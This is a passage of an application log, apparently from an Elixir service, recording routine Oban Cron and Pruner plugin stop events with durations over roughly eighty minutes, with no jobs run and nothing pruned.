{"source":"oban","duration":249,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:52:22.402 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:52:52.404 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:53:00.447 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:53:22.406 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:53:52.408 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:54:00.448 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:54:22.410 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:54:52.412 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:55:00.449 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:55:22.414 [info] {"source":"oban","duration":1612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:55:52.416 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:56:00.450 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:56:22.418 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:56:52.420 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:57:00.451 [info] {"source":"oban","duration":235,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:57:22.422 [info] {"source":"oban","duration":1247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:57:52.424 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:58:00.452 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:58:22.426 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:58:52.428 [info] {"source":"oban","duration":1170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:59:00.453 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:59:22.430 [info] {"source":"oban","duration":1277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:59:52.432 [info] {"source":"oban","duration":1404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:00:00.454 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:00:22.434 [info] {"source":"oban","duration":1199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:00:52.436 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:01:00.455 [info] {"source":"oban","duration":246,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:01:22.438 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:01:52.440 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:02:00.456 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:02:22.442 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:02:52.444 [info] {"source":"oban","duration":1235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:03:00.457 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:03:22.446 [info] {"source":"oban","duration":1094,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:03:52.448 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:04:00.458 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:04:22.450 [info] {"source":"oban","duration":1133,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:04:52.452 [info] {"source":"oban","duration":1187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:05:00.459 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:05:22.454 [info] {"source":"oban","duration":1205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:05:52.456 [info] {"source":"oban","duration":1636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:06:00.460 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:06:22.458 [info] {"source":"oban","duration":1134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:06:52.460 [info] {"source":"oban","duration":1229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:07:00.461 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:07:22.462 [info] {"source":"oban","duration":1643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:07:52.464 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:08:00.462 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:08:22.466 [info] {"source":"oban","duration":1365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:08:52.468 [info] {"source":"oban","duration":1116,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:09:00.463 [info] {"source":"oban","duration":247,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:09:22.470 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:09:52.472 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:10:00.464 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:10:22.474 [info] {"source":"oban","duration":1784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:10:52.477 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:11:00.465 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:11:22.479 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:11:52.481 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:12:00.466 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:12:22.483 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:12:52.485 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:13:00.467 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:13:22.487 [info] {"source":"oban","duration":1181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:13:52.489 [info] {"source":"oban","duration":1345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:00.468 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:14:22.491 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:52.493 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:00.469 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:15:22.495 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:52.497 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:00.470 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:16:22.499 [info] {"source":"oban","duration":1870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:52.502 [info] {"source":"oban","duration":1232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:00.471 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:17:22.504 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:52.506 [info] {"source":"oban","duration":1284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:00.472 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:18:22.508 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:52.510 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:00.473 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:19:22.512 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:52.514 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:00.474 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:20:22.516 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:52.518 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:00.475 [info] {"source":"oban","duration":250,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:21:22.520 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:52.522 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:00.476 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:22:22.524 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:52.526 [info] {"source":"oban","duration":1165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:00.477 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:23:22.528 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:52.530 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:00.478 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:24:22.532 [info] {"source":"oban","duration":1309,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:52.534 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:00.479 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:25:22.536 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:52.537 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:00.480 [info] {"source":"oban","duration":203,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:26:22.540 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:52.542 [info] {"source":"oban","duration":1370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:00.481 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:27:22.544 [info] {"source":"oban","duration":1396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:52.546 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:00.482 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:28:22.548 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:52.550 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:00.483 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:29:22.552 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:52.554 [info] {"source":"oban","duration":1169,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:00.484 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:30:22.556 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:52.559 [info] {"source":"oban","duration":1546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:00.485 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:31:22.561 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:52.563 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:00.486 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:32:22.565 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:52.567 [info] {"source":"oban","duration":1620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:00.487 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:33:22.569 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:52.571 [info] {"source":"oban","duration":1059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:00.488 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:34:22.573 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:52.575 [info] {"source":"oban","duration":1081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:00.489 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:35:22.577 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:52.579 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:00.490 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:36:22.581 [info] {"source":"oban","duration":1278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:52.583 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:00.491 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:37:22.585 [info] {"source":"oban","duration":1192,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:52.587 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:00.492 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:38:22.589 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:52.591 [info] {"source":"oban","duration":1405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:00.493 [info] {"source":"oban","duration":315,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:39:22.593 [info] {"source":"oban","duration":1645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:52.595 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:00.494 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:40:22.597 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:52.599 [info] {"source":"oban","duration":1103,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:00.495 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:41:22.601 [info] {"source":"oban","duration":1410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:52.603 [info] {"source":"oban","duration":1629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:00.496 [info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:42:22.605 [info] {"source":"oban","duration":1706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:52.608 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:00.497 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:43:22.610 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:52.613 [info] {"source":"oban","duration":2149,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:00.498 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:44:22.615 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:52.617 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:00.499 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:45:22.619 [info] {"source":"oban","duration":1460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:52.621 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:00.500 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:46:22.623 [info] {"source":"oban","duration":1585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:52.625 [info] {"source":"oban","duration":1656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:00.501 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:47:22.627 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:52.629 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:00.502 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:48:22.631 [info] {"source":"oban","duration":1339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:52.633 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:00.503 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:49:22.635 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:52.637 [info] {"source":"oban","duration":1611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:00.504 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:50:22.639 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:52.641 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:51:00.505 [info] {"source":"oban","duration":240,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:51:22.643 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:51:52.645 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:00.506 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:52:22.647 [info] {"source":"oban","duration":1664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:52.649 [info] {"source":"oban","duration":1365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:00.507 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:53:22.651 [info] {"source":"oban","duration":1627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:52.653 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:00.508 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:54:22.655 [info] {"source":"oban","duration":1321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:52.657 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:00.509 [info] {"source":"oban","duration":236,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:55:22.659 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:52.661 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:00.510 [info] {"source":"oban","duration":232,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:56:22.663 [info] {"source":"oban","duration":1610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:52.665 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:00.511 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:57:22.667 [info] {"source":"oban","duration":1611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:52.669 [info] {"source":"oban","duration":1030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:00.512 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:58:22.671 [info] {"source":"oban","duration":1625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:52.673 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:00.513 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:59:22.675 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:52.677 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:00.514 [info] {"source":"oban","duration":238,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:00:22.679 [info] {"source":"oban","duration":917,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:52.680 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:00.515 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:01:22.683 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:52.685 [info] {"source":"oban","duration":1281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:00.516 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:02:22.687 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:52.689 [info] {"source":"oban","duration":1135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:00.517 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:03:22.691 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:52.693 [info] {"source":"oban","duration":1247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:00.518 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:04:22.695 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:52.697 [info] {"source":"oban","duration":1364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:00.519 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:05:22.699 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:52.701 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:00.520 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:06:22.703 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:52.705 [info] {"source":"oban","duration":1405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:00.521 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:07:22.707 [info] {"source":"oban","duration":1386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:52.709 [info] {"source":"oban","duration":1028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:00.522 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:08:22.711 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:52.713 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:00.523 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:09:22.715 [info] {"source":"oban","duration":1109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:52.717 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:00.524 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:10:22.719 [info] {"source":"oban","duration":1329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:52.721 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:00.525 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:11:22.723 [info] 